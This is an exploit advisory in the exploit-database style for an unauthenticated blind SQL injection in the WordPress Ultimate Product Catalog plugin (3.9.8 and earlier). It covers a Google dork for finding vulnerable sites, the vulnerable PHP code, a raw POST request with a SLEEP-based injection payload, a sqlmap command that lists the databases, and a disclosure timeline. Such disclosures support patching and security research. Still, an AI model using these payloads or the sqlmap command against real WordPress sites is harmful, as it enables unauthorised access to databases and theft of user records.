WordPress Ultimate Product Catalog 3.9.8 SQL Injection

`# Exploit Title: Wordpress Ultimate-Product-Catalog <= 3.9.8 (do_shortcode via ajax) Unsanitized shortcode attributes - Unauthenticated Blind SQL Injection  
# Date: 2016-07-28  
# Google Dork: "Index of /wp-content/plugins/ultimate-product-catalogue/"  
# Exploit Author: Joaquin Ramirez Martinez [ i0 SEC-LABORATORY ]  
# Vendor Homepage: http://www.EtoileWebDesign.com/  
# plugin uri: http://www.EtoileWebDesign.com/ultimate-product-catalogue/  
# Software Link:   
# Version: <=3.9.8  
# Tested on: windows 7 + firefox.   
  
====================  
DESCRIPTION  
====================  
  
A vulnerability has been discvered in the wordpress Ultimate Product Catalog by affecting v3.9.8 and below (tested).  
Due to a unsanitized parameters passed to the shorcode function `Insert_Product_Catalog` [ "product-catalogue" ]  
located in `/Funtions/Shortcodes.php` line 4:  
  
function Insert_Product_Catalog($atts) {   
// Select the catalogue information from the database  
...  
  
$Catalogue = $wpdb->get_row("SELECT * FROM $catalogues_table_name WHERE Catalogue_ID=" . $id);  
$CatalogueItems = $wpdb->get_results("SELECT * FROM $catalogue_items_table_name WHERE Catalogue_ID=" . $id . " ORDER BY Position");  
...  
  
return $ProductString;  
}  
  
The $id parameter is extracted with `extract` function from $atts. This is a vulnerability with which can be exploited by creating shortcodes with   
malicious attributes, exploitable only by administrators, editors, authors. But in file `/Functions/Process_Ajax.php` line 113...  
  
function UPCP_Filter_Catalogue() {  
$Path = ABSPATH . 'wp-load.php';  
include_once($Path);  
  
$id = $_POST['id']; <-- we can control this value!!  
  
...  
  
echo do_shortcode("[product-catalogue id='" . $id . "' only_inner='Yes' starting_layout='" . $start_layout . "' excluded_layouts='" . $exclude_layouts . "' current_page='" . $current_page . "' ajax_reload='" . $ajax_reload . "' ajax_url='" . $ajax_url . "' request_count='" . $request_count . "' category='" . $Category . "' subcategory='" . $SubCategory . "' tags='" . $Tags . "' custom_fields='" . $Custom_Fields . "' prod_name='" . $Prod_Name . "' min_price='" . $Min_Price . "' max_price='" . $Max_Price . "']");  
}  
  
  
This is interesting because that function calls `do_shortcode` executing the shortcode 'product-catalogue' as a result, this calls `Insert_Product_Catalog` wich   
I found the SQLi, now we need to found a place where ` UPCP_Filter_Catalogue` is called and in line 138-139 i found...  
  
...  
add_action('wp_ajax_update_catalogue', 'UPCP_Filter_Catalogue');  
add_action( 'wp_ajax_nopriv_update_catalogue', 'UPCP_Filter_Catalogue');  
...  
  
this means that we can execute that function only with a request to `/wp-admin/admin-ajax.php?action=update_catalogue` and send the vulnerable $id parameter  
with our custom payload. Note that `wp_ajax_nopriv` prefix makes this vulnerability exploitable by unauthenticated users.  
  
Example:  
  
http://<wp-host>/<wp-path>/wp-admin/admin-ajax.php?action=update_catalogue  
  
POSTDATA: id=0+or+(our+custom+select+here)+--  
  
  
An attacker can exploit this vulnerability and compromise all user records or take over control of the host machine.  
  
==============  
POC  
==============  
-----------------  
//REQUEST  
------------------  
  
POST /wordpress/wp-admin/admin-ajax.php?action=update_catalogue HTTP/1.1  
Host: localhost  
Content-Length: 21  
Accept: */*  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Accept-Encoding: gzip, deflate  
Accept-Language: es-ES,es;q=0.8  
Cookie:   
  
id=1+OR+SLEEP(10)+--+  
  
--------------------------  
EXPLOITING WITH SQLMAP  
------------------------  
  
sqlmap --url="http://<wp-host>/<wp-path>/wp-admin/admin-ajax.php?action=update_catalogue" --data="id=1" --level=5 --risk=3 --technique=B -p id --dbs --dbms=mysql  
  
(listing all available databases)  
  
  
==================================  
time-line  
===================================  
  
2016-07-28: reported to vendor.  
2016-07-28: vendor released plugin version 3.9.9. saying in changelog "Minor ajax update to switch to a prepared statement".  
2016-07-29: public disclousure.  
===================================  
  
`